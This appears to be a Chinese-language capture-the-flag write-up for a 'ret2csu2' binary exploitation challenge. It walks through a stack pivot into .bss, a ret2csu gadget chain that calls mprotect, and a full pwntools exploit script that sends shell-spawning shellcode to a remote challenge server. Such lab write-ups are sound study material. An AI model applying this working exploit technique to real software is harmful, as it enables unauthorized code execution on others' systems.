week4-ret2csu2

New-star-Week4-Ret2csu2

拿到题目,我们先checksec一下:

1

那就可能是栈溢出了,我们看了看源码:

2

这个题目,我是不会的,也是去学习了别的师傅的wp,才会的,前两个函数没啥说的,普通的向屏幕输出语句,第三个函数是存在溢出的,但是溢出的字节数是不够的,那就要考虑栈迁移了,栈迁移首先是考虑迁移到bss段的,但是栈迁移也存在问题,我们只能读入一次,读入的字节太有限了,所以我们要想办法多读入一次,其实是很简单的,但是我愣是没想到,就是跳到lea rsi,[rbp-0xf0]这里,因为最后执行的是read函数,很多寄存器的值都没改变,我们可以下断点(main函数的快结尾)去看看:

3

可以看到,rax还是等于0,那么系统调用就是read函数,rdi是0,第一个参数正确,rdx是0x100,第三个参数也是正确的,第二个参数也是可以控制的,我们第一次ret跳到这里就可以了:

5

这样跳转过去,就可以再次执行read函数了,那么第二个参数地址写成0x601020 就可以了,这里IDA给反汇编好像不对,题目给了c程序,看题目即可,0x601020是bss段的起始地址,如何控制第二个参数?只需要溢出覆盖旧的rbp为0x601020 + 0xf0,这样第二个参数rsi就是0x601020了:

6

接下来就是ret2csu了,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
sh = remote("node5.buuoj.cn",26282)
elf = ELF("./pwn")
context.log_level = 'debug'
context.arch = 'amd64'

# bss_start_address = 0x601020

first_ebp = 0x601020 + 0xf0
first_ret_address = 0x4006E7
payload = b"A"*(0xf0) + p64(first_ebp) + p64(first_ret_address)

# 此时ebp指向0x601020+0xf0的地方
sh.recvuntil("Remember to check it!")
sh.send(payload)

second_ret_address = 0x40067B #call _mprotect
mprotect_got_address = 0x600fe8
leave_ret_address = 0x400681
gadget1 = 0x40075A
gadget2 = 0x400740


payload_2 = p64(gadget1) + p64(0) + p64(1) + p64(mprotect_got_address) + p64(0x601000) + p64(0x1000) + p64(0x7) + p64(gadget2)

# 0x40大小
# asm(shellcraft.sh())为0x30
shellcode = asm(shellcraft.sh())
payload_2 += b"A"*(0x38) + p64(0x601020+0x40+0x38+0x8) + shellcode + b"A"*(0xf0-0x40-0x38-0x8-0x30) + p64(0x601020-0x8) + p64(leave_ret_address)

sleep(0.1)

sh.sendline(payload_2)
sh.interactive()

read函数,二次读入后,rbp为0x601020 + 0xf0,返回到main函数结束位置,执行leave指令,rsp =0x601020 + 0xf0,然后rbp = 0x601020-0x8,然后retn到我们布置的leave ret这里,leave后,rsp =0x601020,此时再次ret,就到了 p64(gadget1)的地方,执行retcsu,里面调用 mprotect函数改写权限,返回后顺势执行到最后一个retn指令,指向p64(0x601020+0x40+0x38+0x8),去执行shellcode,b”A”*(0xf0-0x40-0x38-0x8-0x30)是为了填充数据大小到0xf0,填满read函数的区域。所以用send发送,sendline会多换行符,发送回失败。